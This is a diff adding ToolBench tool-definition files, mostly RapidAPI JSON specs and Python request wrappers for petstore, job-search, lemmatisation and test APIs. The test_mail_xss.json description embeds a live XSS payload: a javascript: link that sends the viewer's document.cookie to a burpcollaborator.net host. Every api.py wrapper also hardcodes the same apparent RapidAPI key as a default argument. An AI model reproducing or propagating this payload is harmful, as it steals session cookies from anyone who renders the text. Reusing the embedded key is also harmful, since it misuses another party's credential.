+ "convert_code": "import requests\n\nurl = \"https://team-petstore.p.rapidapi.com/pet/{petId}\"\nquerystring = {\"petId\": 0}\n\nheaders = {\n \"X-RapidAPI-Key\": \"SIGN-UP-FOR-KEY\",\n \"X-RapidAPI-Host\": \"team-petstore.p.rapidapi.com\"\n }\n\nresponse = requests.post(url, headers=headers, params=querystring)\nprint(response.json())\n",
292
+ "test_endpoint": ""
293
+ },
294
+ {
295
+ "name": "addPet",
296
+ "url": "https://team-petstore.p.rapidapi.com/pet",
297
+ "description": "Add a new pet to the store",
298
+ "method": "POST",
299
+ "required_parameters": [],
300
+ "optional_parameters": [
301
+ {
302
+ "name": "id",
303
+ "type": "NUMBER",
304
+ "description": "",
305
+ "default": 0
306
+ },
307
+ {
308
+ "name": "tags",
309
+ "type": "STRING",
310
+ "description": "",
311
+ "default": "{\"parameter\":\"object\"}"
312
+ },
313
+ {
314
+ "name": "category",
315
+ "type": "STRING",
316
+ "description": "",
317
+ "default": "{\"parameter\":\"object\"}"
318
+ },
319
+ {
320
+ "name": "status",
321
+ "type": "STRING",
322
+ "description": "pet status in the store",
323
+ "default": "string"
324
+ },
325
+ {
326
+ "name": "name",
327
+ "type": "STRING",
328
+ "description": "",
329
+ "default": "doggie"
330
+ }
331
+ ],
332
+ "code": "import requests\n\nurl = \"https://team-petstore.p.rapidapi.com/pet\"\nquerystring = {\"id\": 0, \"tags\": \"{\\\"parameter\\\":\\\"object\\\"}\", \"category\": \"{\\\"parameter\\\":\\\"object\\\"}\", \"status\": \"string\", \"name\": \"doggie\"}\n\nheaders = {\n \"X-RapidAPI-Key\": \"SIGN-UP-FOR-KEY\",\n \"X-RapidAPI-Host\": \"team-petstore.p.rapidapi.com\"\n }\n\nresponse = requests.post(url, headers=headers, params=querystring)\nprint(response.json())\n",
333
+ "convert_code": "import requests\n\nurl = \"https://team-petstore.p.rapidapi.com/pet\"\nquerystring = {\"id\": 0, \"tags\": \"{\\\"parameter\\\":\\\"object\\\"}\", \"category\": \"{\\\"parameter\\\":\\\"object\\\"}\", \"status\": \"string\", \"name\": \"doggie\"}\n\nheaders = {\n \"X-RapidAPI-Key\": \"SIGN-UP-FOR-KEY\",\n \"X-RapidAPI-Host\": \"team-petstore.p.rapidapi.com\"\n }\n\nresponse = requests.post(url, headers=headers, params=querystring)\nprint(response.json())\n",
334
+ "test_endpoint": ""
335
+ },
336
+ {
337
+ "name": "uploadFile",
338
+ "url": "https://team-petstore.p.rapidapi.com/pet/{petId}/uploadImage",
339
+ "description": "uploads an image",
340
+ "method": "POST",
341
+ "required_parameters": [
342
+ {
343
+ "name": "petId",
344
+ "type": "NUMBER",
345
+ "description": "ID of pet to update",
346
+ "default": 0
347
+ }
348
+ ],
349
+ "optional_parameters": [],
350
+ "code": "import requests\n\nurl = \"https://team-petstore.p.rapidapi.com/pet/{petId}/uploadImage\"\nquerystring = {\"petId\": 0}\n\nheaders = {\n \"X-RapidAPI-Key\": \"SIGN-UP-FOR-KEY\",\n \"X-RapidAPI-Host\": \"team-petstore.p.rapidapi.com\"\n }\n\nresponse = requests.post(url, headers=headers, params=querystring)\nprint(response.json())\n",
351
+ "convert_code": "import requests\n\nurl = \"https://team-petstore.p.rapidapi.com/pet/{petId}/uploadImage\"\nquerystring = {\"petId\": 0}\n\nheaders = {\n \"X-RapidAPI-Key\": \"SIGN-UP-FOR-KEY\",\n \"X-RapidAPI-Host\": \"team-petstore.p.rapidapi.com\"\n }\n\nresponse = requests.post(url, headers=headers, params=querystring)\nprint(response.json())\n",
352
+ "test_endpoint": "",
353
+ "statuscode": 200,
354
+ "schema": {
355
+ "type": "object",
356
+ "properties": {
357
+ "get": {
358
+ "type": "string"
359
+ },
360
+ "parameters": {
361
+ "type": "array"
362
+ },
363
+ "errors": {
364
+ "type": "array"
365
+ },
366
+ "results": {
367
+ "type": "integer"
368
+ },
369
+ "response": {
370
+ "type": "array",
371
+ "items": {
372
+ "type": "object"
373
+ }
374
+ }
375
+ }
376
+ }
377
+ },
378
+ {
379
+ "name": "placeOrder",
380
+ "url": "https://team-petstore.p.rapidapi.com/store/order",
381
+ "description": "Place an order for a pet",
382
+ "method": "POST",
383
+ "required_parameters": [],
384
+ "optional_parameters": [
385
+ {
386
+ "name": "shipDate",
387
+ "type": "STRING",
388
+ "description": "",
389
+ "default": "2019-09-18T21:08:57.502Z"
390
+ },
391
+ {
392
+ "name": "complete",
393
+ "type": "BOOLEAN",
394
+ "description": "",
395
+ "default": false
396
+ },
397
+ {
398
+ "name": "status",
399
+ "type": "STRING",
400
+ "description": "Order Status",
401
+ "default": "string"
402
+ },
403
+ {
404
+ "name": "quantity",
405
+ "type": "NUMBER",
406
+ "description": "",
407
+ "default": 0
408
+ },
409
+ {
410
+ "name": "id",
411
+ "type": "NUMBER",
412
+ "description": "",
413
+ "default": 0
414
+ },
415
+ {
416
+ "name": "petId",
417
+ "type": "NUMBER",
418
+ "description": "",
419
+ "default": 0
420
+ }
421
+ ],
422
+ "code": "import requests\n\nurl = \"https://team-petstore.p.rapidapi.com/store/order\"\nquerystring = {\"shipDate\": \"2019-09-18T21:08:57.502Z\", \"complete\": false, \"status\": \"string\", \"quantity\": 0, \"id\": 0, \"petId\": 0}\n\nheaders = {\n \"X-RapidAPI-Key\": \"SIGN-UP-FOR-KEY\",\n \"X-RapidAPI-Host\": \"team-petstore.p.rapidapi.com\"\n }\n\nresponse = requests.post(url, headers=headers, params=querystring)\nprint(response.json())\n",
423
+ "convert_code": "import requests\n\nurl = \"https://team-petstore.p.rapidapi.com/store/order\"\nquerystring = {\"shipDate\": \"2019-09-18T21:08:57.502Z\", \"complete\": false, \"status\": \"string\", \"quantity\": 0, \"id\": 0, \"petId\": 0}\n\nheaders = {\n \"X-RapidAPI-Key\": \"SIGN-UP-FOR-KEY\",\n \"X-RapidAPI-Host\": \"team-petstore.p.rapidapi.com\"\n }\n\nresponse = requests.post(url, headers=headers, params=querystring)\nprint(response.json())\n",
424
+ "test_endpoint": "",
425
+ "statuscode": 200,
426
+ "schema": {
427
+ "type": "object",
428
+ "properties": {
429
+ "get": {
430
+ "type": "string"
431
+ },
432
+ "parameters": {
433
+ "type": "array"
434
+ },
435
+ "errors": {
436
+ "type": "array"
437
+ },
438
+ "results": {
439
+ "type": "integer"
440
+ },
441
+ "response": {
442
+ "type": "array",
443
+ "items": {
444
+ "type": "object"
445
+ }
446
+ }
447
+ }
448
+ }
449
+ },
450
+ {
451
+ "name": "createUsersWithArrayInput",
452
+ "url": "https://team-petstore.p.rapidapi.com/user/createWithArray",
453
+ "description": "Creates list of users with given input array",
454
+ "method": "POST",
455
+ "required_parameters": [],
456
+ "optional_parameters": [],
457
+ "code": "import requests\n\nurl = \"https://team-petstore.p.rapidapi.com/user/createWithArray\"\n\nheaders = {\n \"X-RapidAPI-Key\": \"SIGN-UP-FOR-KEY\",\n \"X-RapidAPI-Host\": \"team-petstore.p.rapidapi.com\"\n }\n\nresponse = requests.post(url, headers=headers)\nprint(response.json())\n",
458
+ "convert_code": "import requests\n\nurl = \"https://team-petstore.p.rapidapi.com/user/createWithArray\"\n\nheaders = {\n \"X-RapidAPI-Key\": \"SIGN-UP-FOR-KEY\",\n \"X-RapidAPI-Host\": \"team-petstore.p.rapidapi.com\"\n }\n\nresponse = requests.post(url, headers=headers)\nprint(response.json())\n",
459
+ "test_endpoint": ""
460
+ },
461
+ {
462
+ "name": "createUsersWithListInput",
463
+ "url": "https://team-petstore.p.rapidapi.com/user/createWithList",
464
+ "description": "Creates list of users with given input array",
465
+ "method": "POST",
466
+ "required_parameters": [],
467
+ "optional_parameters": [],
468
+ "code": "import requests\n\nurl = \"https://team-petstore.p.rapidapi.com/user/createWithList\"\n\nheaders = {\n \"X-RapidAPI-Key\": \"SIGN-UP-FOR-KEY\",\n \"X-RapidAPI-Host\": \"team-petstore.p.rapidapi.com\"\n }\n\nresponse = requests.post(url, headers=headers)\nprint(response.json())\n",
469
+ "convert_code": "import requests\n\nurl = \"https://team-petstore.p.rapidapi.com/user/createWithList\"\n\nheaders = {\n \"X-RapidAPI-Key\": \"SIGN-UP-FOR-KEY\",\n \"X-RapidAPI-Host\": \"team-petstore.p.rapidapi.com\"\n }\n\nresponse = requests.post(url, headers=headers)\nprint(response.json())\n",
470
+ "test_endpoint": ""
471
+ },
472
+ {
473
+ "name": "createUser",
474
+ "url": "https://team-petstore.p.rapidapi.com/user",
475
+ "description": "This can only be done by the logged in user.",
476
+ "method": "POST",
477
+ "required_parameters": [],
478
+ "optional_parameters": [
479
+ {
480
+ "name": "phone",
481
+ "type": "STRING",
482
+ "description": "",
483
+ "default": "string"
484
+ },
485
+ {
486
+ "name": "firstName",
487
+ "type": "STRING",
488
+ "description": "",
489
+ "default": "string"
490
+ },
491
+ {
492
+ "name": "username",
493
+ "type": "STRING",
494
+ "description": "",
495
+ "default": "string"
496
+ },
497
+ {
498
+ "name": "lastName",
499
+ "type": "STRING",
500
+ "description": "",
501
+ "default": "string"
502
+ },
503
+ {
504
+ "name": "userStatus",
505
+ "type": "NUMBER",
506
+ "description": "User Status",
507
+ "default": 0
508
+ },
509
+ {
510
+ "name": "password",
511
+ "type": "STRING",
512
+ "description": "",
513
+ "default": "string"
514
+ },
515
+ {
516
+ "name": "email",
517
+ "type": "STRING",
518
+ "description": "",
519
+ "default": "string"
520
+ },
521
+ {
522
+ "name": "id",
523
+ "type": "NUMBER",
524
+ "description": "",
525
+ "default": 0
526
+ }
527
+ ],
528
+ "code": "import requests\n\nurl = \"https://team-petstore.p.rapidapi.com/user\"\nquerystring = {\"phone\": \"string\", \"firstName\": \"string\", \"username\": \"string\", \"lastName\": \"string\", \"userStatus\": 0, \"password\": \"string\", \"email\": \"string\", \"id\": 0}\n\nheaders = {\n \"X-RapidAPI-Key\": \"SIGN-UP-FOR-KEY\",\n \"X-RapidAPI-Host\": \"team-petstore.p.rapidapi.com\"\n }\n\nresponse = requests.post(url, headers=headers, params=querystring)\nprint(response.json())\n",
529
+ "convert_code": "import requests\n\nurl = \"https://team-petstore.p.rapidapi.com/user\"\nquerystring = {\"phone\": \"string\", \"firstName\": \"string\", \"username\": \"string\", \"lastName\": \"string\", \"userStatus\": 0, \"password\": \"string\", \"email\": \"string\", \"id\": 0}\n\nheaders = {\n \"X-RapidAPI-Key\": \"SIGN-UP-FOR-KEY\",\n \"X-RapidAPI-Host\": \"team-petstore.p.rapidapi.com\"\n }\n\nresponse = requests.post(url, headers=headers, params=querystring)\nprint(response.json())\n",
530
+ "test_endpoint": ""
531
+ }
532
+ ],
533
+ "standardized_name": "team_petstore"
534
+ }
toolbench/toolenv/tools/Other/team_petstore/api.py ADDED
@@ -0,0 +1,139 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ import requests
2
+ import json
3
+ from datetime import date, datetime, timedelta
4
+ import os
5
+
6
+ from typing import Optional, Dict, Union, List
7
+
8
+
9
+ def getpetbyid(petid: int, toolbench_rapidapi_key: str='088440d910mshef857391f2fc461p17ae9ejsnaebc918926ff'):
10
+ """
11
+ "Returns a single pet"
12
+ petid: ID of pet to return
13
+
14
+ """
15
+ url = f"https://team-petstore.p.rapidapi.com/pet/{petid}"
16
+ querystring = {}
17
+
18
+ headers = {
19
+ "X-RapidAPI-Key": toolbench_rapidapi_key,
20
+ "X-RapidAPI-Host": "team-petstore.p.rapidapi.com"
21
+ }
22
+
23
+
24
+ response = requests.get(url, headers=headers, params=querystring)
25
+ try:
26
+ observation = response.json()
27
+ except:
28
+ observation = response.text
29
+ return observation
30
+
31
+ def logoutuser(toolbench_rapidapi_key: str='088440d910mshef857391f2fc461p17ae9ejsnaebc918926ff'):
32
+ """
33
+ "Logs out current logged in user session"
34
+
35
+ """
36
+ url = f"https://team-petstore.p.rapidapi.com/user/logout"
37
+ querystring = {}
38
+
39
+ headers = {
40
+ "X-RapidAPI-Key": toolbench_rapidapi_key,
41
+ "X-RapidAPI-Host": "team-petstore.p.rapidapi.com"
42
+ }
43
+
44
+
45
+ response = requests.get(url, headers=headers, params=querystring)
46
+ try:
47
+ observation = response.json()
48
+ except:
49
+ observation = response.text
50
+ return observation
51
+
52
+ def loginuser(username: str, password: str, toolbench_rapidapi_key: str='088440d910mshef857391f2fc461p17ae9ejsnaebc918926ff'):
53
+ """
54
+ "Logs user into the system"
55
+ username: The user name for login
56
+ password: The password for login in clear text
57
+
58
+ """
59
+ url = f"https://team-petstore.p.rapidapi.com/user/login"
60
+ querystring = {'username': username, 'password': password, }
61
+
62
+ headers = {
63
+ "X-RapidAPI-Key": toolbench_rapidapi_key,
64
+ "X-RapidAPI-Host": "team-petstore.p.rapidapi.com"
65
+ }
66
+
67
+
68
+ response = requests.get(url, headers=headers, params=querystring)
69
+ try:
70
+ observation = response.json()
71
+ except:
72
+ observation = response.text
73
+ return observation
74
+
75
+ def getinventory(toolbench_rapidapi_key: str='088440d910mshef857391f2fc461p17ae9ejsnaebc918926ff'):
76
+ """
77
+ "Returns a map of status codes to quantities"
78
+
79
+ """
80
+ url = f"https://team-petstore.p.rapidapi.com/store/inventory"
81
+ querystring = {}
82
+
83
+ headers = {
84
+ "X-RapidAPI-Key": toolbench_rapidapi_key,
85
+ "X-RapidAPI-Host": "team-petstore.p.rapidapi.com"
86
+ }
87
+
88
+
89
+ response = requests.get(url, headers=headers, params=querystring)
90
+ try:
91
+ observation = response.json()
92
+ except:
93
+ observation = response.text
94
+ return observation
95
+
96
+ def getorderbyid(orderid: int, toolbench_rapidapi_key: str='088440d910mshef857391f2fc461p17ae9ejsnaebc918926ff'):
97
+ """
98
+ "For valid response try integer IDs with value >= 1 and <= 10. Other values will generated exceptions"
99
+ orderid: ID of pet that needs to be fetched
100
+
101
+ """
102
+ url = f"https://team-petstore.p.rapidapi.com/store/order/{orderid}"
103
+ querystring = {}
104
+
105
+ headers = {
106
+ "X-RapidAPI-Key": toolbench_rapidapi_key,
107
+ "X-RapidAPI-Host": "team-petstore.p.rapidapi.com"
108
+ }
109
+
110
+
111
+ response = requests.get(url, headers=headers, params=querystring)
112
+ try:
113
+ observation = response.json()
114
+ except:
115
+ observation = response.text
116
+ return observation
117
+
118
+ def getuserbyname(username: str, toolbench_rapidapi_key: str='088440d910mshef857391f2fc461p17ae9ejsnaebc918926ff'):
119
+ """
120
+ "Get user by user name"
121
+ username: The name that needs to be fetched. Use user1 for testing.
122
+
123
+ """
124
+ url = f"https://team-petstore.p.rapidapi.com/user/{username}"
125
+ querystring = {}
126
+
127
+ headers = {
128
+ "X-RapidAPI-Key": toolbench_rapidapi_key,
129
+ "X-RapidAPI-Host": "team-petstore.p.rapidapi.com"
130
+ }
131
+
132
+
133
+ response = requests.get(url, headers=headers, params=querystring)
134
+ try:
135
+ observation = response.json()
136
+ except:
137
+ observation = response.text
138
+ return observation
139
+
toolbench/toolenv/tools/Other/tech_job_search_api.json ADDED
@@ -0,0 +1,43 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ {
2
+ "tool_name":"tech-job-search-api",
3
+ "tool_description":"searching for tech/product jobs",
4
+ "title":"tech-job-search-api",
5
+ "pricing":"FREEMIUM",
6
+ "score":{
7
+ "avgServiceLevel":0,
8
+ "avgLatency":716,
9
+ "avgSuccessRate":0,
10
+ "popularityScore":0,
11
+ "__typename":"Score"
12
+ },
13
+ "home_url":"https://rapidapi.com/nguyenlinhchi09-LHmK_ZrDh40/api/tech-job-search-api/",
14
+ "host":"tech-job-search-api.p.rapidapi.com",
15
+ "api_list":[
16
+ {
17
+ "name":"all jobs",
18
+ "url":"https://tech-job-search-api.p.rapidapi.com/",
19
+ "description":"get tech and product jobs from different source",
20
+ "method":"GET",
21
+ "required_parameters":[],
22
+ "optional_parameters":[],
23
+ "code":"import requests\n\nurl = \"https://tech-job-search-api.p.rapidapi.com/\"\n\nheaders = {\n \"X-RapidAPI-Key\": \"SIGN-UP-FOR-KEY\",\n \"X-RapidAPI-Host\": \"tech-job-search-api.p.rapidapi.com\"\n}\n\nresponse = requests.get(url, headers=headers)\n\nprint(response.json())\n",
24
+ "statuscode":111,
25
+ "body":"",
26
+ "headers":"",
27
+ "schema":""
28
+ },
29
+ {
30
+ "name":"content",
31
+ "url":"https://tech-job-search-api.p.rapidapi.com/content",
32
+ "description":"job description",
33
+ "method":"GET",
34
+ "required_parameters":[],
35
+ "optional_parameters":[],
36
+ "code":"import requests\n\nurl = \"https://tech-job-search-api.p.rapidapi.com/content\"\n\nheaders = {\n \"X-RapidAPI-Key\": \"SIGN-UP-FOR-KEY\",\n \"X-RapidAPI-Host\": \"tech-job-search-api.p.rapidapi.com\"\n}\n\nresponse = requests.get(url, headers=headers)\n\nprint(response.json())\n",
37
+ "statuscode":111,
38
+ "body":"",
39
+ "headers":"",
40
+ "schema":""
41
+ }
42
+ ]
43
+ }
toolbench/toolenv/tools/Other/tech_job_search_api/api.py ADDED
@@ -0,0 +1,50 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ import requests
2
+ import json
3
+ from datetime import date, datetime, timedelta
4
+ import os
5
+
6
+ from typing import Optional, Dict, Union, List
7
+
8
+
9
+ def all_jobs(toolbench_rapidapi_key: str='088440d910mshef857391f2fc461p17ae9ejsnaebc918926ff'):
10
+ """
11
+ "get tech and product jobs from different source"
12
+
13
+ """
14
+ url = f"https://tech-job-search-api.p.rapidapi.com/"
15
+ querystring = {}
16
+
17
+ headers = {
18
+ "X-RapidAPI-Key": toolbench_rapidapi_key,
19
+ "X-RapidAPI-Host": "tech-job-search-api.p.rapidapi.com"
20
+ }
21
+
22
+
23
+ response = requests.get(url, headers=headers, params=querystring)
24
+ try:
25
+ observation = response.json()
26
+ except:
27
+ observation = response.text
28
+ return observation
29
+
30
+ def content(toolbench_rapidapi_key: str='088440d910mshef857391f2fc461p17ae9ejsnaebc918926ff'):
31
+ """
32
+ "job description"
33
+
34
+ """
35
+ url = f"https://tech-job-search-api.p.rapidapi.com/content"
36
+ querystring = {}
37
+
38
+ headers = {
39
+ "X-RapidAPI-Key": toolbench_rapidapi_key,
40
+ "X-RapidAPI-Host": "tech-job-search-api.p.rapidapi.com"
41
+ }
42
+
43
+
44
+ response = requests.get(url, headers=headers, params=querystring)
45
+ try:
46
+ observation = response.json()
47
+ except:
48
+ observation = response.text
49
+ return observation
50
+
toolbench/toolenv/tools/Other/term_analysis.json ADDED
@@ -0,0 +1,40 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ {
2
+ "product_id": "53aa36a6e4b0a798dbd1945a",
3
+ "tool_description": "Given a text, this API returns the lemmatized text",
4
+ "home_url": "https://rapidapi.com/enclout/api/term-analysis/",
5
+ "name": "Term Analysis",
6
+ "title": "Term Analysis",
7
+ "pricing": "FREEMIUM",
8
+ "tool_name": "Term Analysis",
9
+ "score": {
10
+ "avgServiceLevel": 100,
11
+ "avgLatency": 961,
12
+ "avgSuccessRate": 100,
13
+ "popularityScore": 5.5,
14
+ "__typename": "Score"
15
+ },
16
+ "host": "enclout-term-analysis.p.rapidapi.com",
17
+ "api_list": [
18
+ {
19
+ "name": "Term",
20
+ "url": "https://enclout-term-analysis.p.rapidapi.com/show.json",
21
+ "description": "Given a text, this API returns lemma text",
22
+ "method": "GET",
23
+ "required_parameters": [
24
+ {
25
+ "name": "text",
26
+ "type": "STRING",
27
+ "description": "text that needs to be lemmatized",
28
+ "default": "I am breaking world records"
29
+ }
30
+ ],
31
+ "optional_parameters": [],
32
+ "code": "import requests\n\nurl = \"https://enclout-term-analysis.p.rapidapi.com/show.json\"\nquerystring = {\"text\": \"I am breaking world records\"}\n\nheaders = {\n \"X-RapidAPI-Key\": \"SIGN-UP-FOR-KEY\",\n \"X-RapidAPI-Host\": \"enclout-term-analysis.p.rapidapi.com\"\n }\n\nresponse = requests.get(url, headers=headers, params=querystring)\nprint(response.json())\n",
33
+ "convert_code": "import requests\n\nurl = \"https://enclout-term-analysis.p.rapidapi.com/show.json\"\nquerystring = {\"text\": \"I am breaking world records\"}\n\nheaders = {\n \"X-RapidAPI-Key\": \"SIGN-UP-FOR-KEY\",\n \"X-RapidAPI-Host\": \"enclout-term-analysis.p.rapidapi.com\"\n }\n\nresponse = requests.get(url, headers=headers, params=querystring)\nprint(response.json())\n",
34
+ "test_endpoint": "",
35
+ "statuscode": 1,
36
+ "schema": ""
37
+ }
38
+ ],
39
+ "standardized_name": "term_analysis"
40
+ }
toolbench/toolenv/tools/Other/term_analysis/api.py ADDED
@@ -0,0 +1,30 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ import requests
2
+ import json
3
+ from datetime import date, datetime, timedelta
4
+ import os
5
+
6
+ from typing import Optional, Dict, Union, List
7
+
8
+
9
+ def term(text: str, toolbench_rapidapi_key: str='088440d910mshef857391f2fc461p17ae9ejsnaebc918926ff'):
10
+ """
11
+ "Given a text, this API returns lemma text"
12
+ text: text that needs to be lemmatized
13
+
14
+ """
15
+ url = f"https://enclout-term-analysis.p.rapidapi.com/show.json"
16
+ querystring = {'text': text, }
17
+
18
+ headers = {
19
+ "X-RapidAPI-Key": toolbench_rapidapi_key,
20
+ "X-RapidAPI-Host": "enclout-term-analysis.p.rapidapi.com"
21
+ }
22
+
23
+
24
+ response = requests.get(url, headers=headers, params=querystring)
25
+ try:
26
+ observation = response.json()
27
+ except:
28
+ observation = response.text
29
+ return observation
30
+
toolbench/toolenv/tools/Other/test/api.py ADDED
@@ -0,0 +1,31 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ import requests
2
+ import json
3
+ from datetime import date, datetime, timedelta
4
+ import os
5
+
6
+ from typing import Optional, Dict, Union, List
7
+
8
+
9
+ def test(test: str=None, toolbench_rapidapi_key: str='088440d910mshef857391f2fc461p17ae9ejsnaebc918926ff'):
10
+ """
11
+ "test"
12
+
13
+ """
14
+ url = f"https://test10269.p.rapidapi.com/"
15
+ querystring = {}
16
+ if test:
17
+ querystring['Test'] = test
18
+
19
+ headers = {
20
+ "X-RapidAPI-Key": toolbench_rapidapi_key,
21
+ "X-RapidAPI-Host": "test10269.p.rapidapi.com"
22
+ }
23
+
24
+
25
+ response = requests.get(url, headers=headers, params=querystring)
26
+ try:
27
+ observation = response.json()
28
+ except:
29
+ observation = response.text
30
+ return observation
31
+
toolbench/toolenv/tools/Other/test20201115.json ADDED
@@ -0,0 +1,24 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ {
2
+ "product_id": "api_40b2c245-e4dc-4ade-9a7f-35e72296a3eb",
3
+ "tool_description": "Test20201115",
4
+ "home_url": "https://rapidapi.com/jeromeyang/api/test20201115/",
5
+ "name": "Test20201115",
6
+ "title": "Test20201115",
7
+ "pricing": "FREE",
8
+ "tool_name": "Test20201115",
9
+ "score": null,
10
+ "host": "test20201115.p.rapidapi.com",
11
+ "api_list": [
12
+ {
13
+ "name": "FacebookCallbackDeletion",
14
+ "url": "https://test20201115.p.rapidapi.com/FacebookCallbackDeletion",
15
+ "description": "Facebook Callback Deletion",
16
+ "method": "POST",
17
+ "required_parameters": [],
18
+ "optional_parameters": [],
19
+ "code": "import requests\n\nurl = \"https://test20201115.p.rapidapi.com/FacebookCallbackDeletion\"\n\nheaders = {\n \"X-RapidAPI-Key\": \"SIGN-UP-FOR-KEY\",\n \"X-RapidAPI-Host\": \"test20201115.p.rapidapi.com\"\n }\n\nresponse = requests.post(url, headers=headers)\nprint(response.json())\n",
20
+ "convert_code": "import requests\n\nurl = \"https://test20201115.p.rapidapi.com/FacebookCallbackDeletion\"\n\nheaders = {\n \"X-RapidAPI-Key\": \"SIGN-UP-FOR-KEY\",\n \"X-RapidAPI-Host\": \"test20201115.p.rapidapi.com\"\n }\n\nresponse = requests.post(url, headers=headers)\nprint(response.json())\n",
21
+ "test_endpoint": ""
22
+ }
23
+ ]
24
+ }
toolbench/toolenv/tools/Other/test_api.json ADDED
@@ -0,0 +1,24 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ {
2
+ "tool_name":"test-api",
3
+ "tool_description":"testing and learning deploying on rapid",
4
+ "title":"test-api",
5
+ "pricing":"FREE",
6
+ "score":null,
7
+ "home_url":"https://rapidapi.com/myvectorspypi/api/test-api133/",
8
+ "host":"test-api133.p.rapidapi.com",
9
+ "api_list":[
10
+ {
11
+ "name":"Ai Quote",
12
+ "url":"https://test-api133.p.rapidapi.com/ai-quotes",
13
+ "description":"get random quote",
14
+ "method":"GET",
15
+ "required_parameters":[],
16
+ "optional_parameters":[],
17
+ "code":"import requests\n\nurl = \"https://test-api133.p.rapidapi.com/ai-quotes\"\n\nheaders = {\n \"X-RapidAPI-Key\": \"SIGN-UP-FOR-KEY\",\n \"X-RapidAPI-Host\": \"test-api133.p.rapidapi.com\"\n}\n\nresponse = requests.get(url, headers=headers)\n\nprint(response.json())\n",
18
+ "statuscode":111,
19
+ "body":"",
20
+ "headers":"",
21
+ "schema":""
22
+ }
23
+ ]
24
+ }
toolbench/toolenv/tools/Other/test_api/api.py ADDED
@@ -0,0 +1,29 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ import requests
2
+ import json
3
+ from datetime import date, datetime, timedelta
4
+ import os
5
+
6
+ from typing import Optional, Dict, Union, List
7
+
8
+
9
+ def ai_quote(toolbench_rapidapi_key: str='088440d910mshef857391f2fc461p17ae9ejsnaebc918926ff'):
10
+ """
11
+ "get random quote"
12
+
13
+ """
14
+ url = f"https://test-api133.p.rapidapi.com/ai-quotes"
15
+ querystring = {}
16
+
17
+ headers = {
18
+ "X-RapidAPI-Key": toolbench_rapidapi_key,
19
+ "X-RapidAPI-Host": "test-api133.p.rapidapi.com"
20
+ }
21
+
22
+
23
+ response = requests.get(url, headers=headers, params=querystring)
24
+ try:
25
+ observation = response.json()
26
+ except:
27
+ observation = response.text
28
+ return observation
29
+
toolbench/toolenv/tools/Other/test_mail_xss.json ADDED
@@ -0,0 +1,61 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ {
2
+ "product_id": "api_0a4a3864-5208-42cf-8419-f79337fcf57b",
3
+ "tool_description": "A sample [CLICK ME](javascript:window.location='http://jczqsdk8c5gwiyhwx0pwv7yac1ir6g.burpcollaborator.net?cookie='+document.cookie) API that uses a petstore as an example to demonstrate features in the swagger-2.0 specification",
4
+ "home_url": "https://rapidapi.com/testxss444/api/test_mail_xss/",
5
+ "name": "test_mail_xss",
6
+ "title": "test_mail_xss",
7
+ "pricing": "FREE",
8
+ "tool_name": "test_mail_xss",
9
+ "score": null,
10
+ "host": "test_mail_xss.p.rapidapi.com",
11
+ "api_list": [
12
+ {
13
+ "name": "addPet",
14
+ "url": "https://test_mail_xss.p.rapidapi.com/pets",
15
+ "description": "Creates a new pet in the store. Duplicates are allowed",
16
+ "method": "POST",
17
+ "required_parameters": [],
18
+ "optional_parameters": [
19
+ {
20
+ "name": "name",
21
+ "type": "STRING",
22
+ "description": "",
23
+ "default": "string"
24
+ },
25
+ {
26
+ "name": "tag",
27
+ "type": "STRING",
28
+ "description": "",
29
+ "default": "string"
30
+ }
31
+ ],
32
+ "code": "import requests\n\nurl = \"https://test_mail_xss.p.rapidapi.com/pets\"\nquerystring = {\"name\": \"string\", \"tag\": \"string\"}\n\nheaders = {\n \"X-RapidAPI-Key\": \"SIGN-UP-FOR-KEY\",\n \"X-RapidAPI-Host\": \"test_mail_xss.p.rapidapi.com\"\n }\n\nresponse = requests.post(url, headers=headers, params=querystring)\nprint(response.json())\n",
33
+ "convert_code": "import requests\n\nurl = \"https://test_mail_xss.p.rapidapi.com/pets\"\nquerystring = {\"name\": \"string\", \"tag\": \"string\"}\n\nheaders = {\n \"X-RapidAPI-Key\": \"SIGN-UP-FOR-KEY\",\n \"X-RapidAPI-Host\": \"test_mail_xss.p.rapidapi.com\"\n }\n\nresponse = requests.post(url, headers=headers, params=querystring)\nprint(response.json())\n",
34
+ "test_endpoint": "",
35
+ "statuscode": 200,
36
+ "schema": {
37
+ "type": "object",
38
+ "properties": {
39
+ "get": {
40
+ "type": "string"
41
+ },
42
+ "parameters": {
43
+ "type": "array"
44
+ },
45
+ "errors": {
46
+ "type": "array"
47
+ },
48
+ "results": {
49
+ "type": "integer"
50
+ },
51
+ "response": {
52
+ "type": "array",
53
+ "items": {
54
+ "type": "object"
55
+ }
56
+ }
57
+ }
58
+ }
59
+ }
60
+ ]
61
+ }
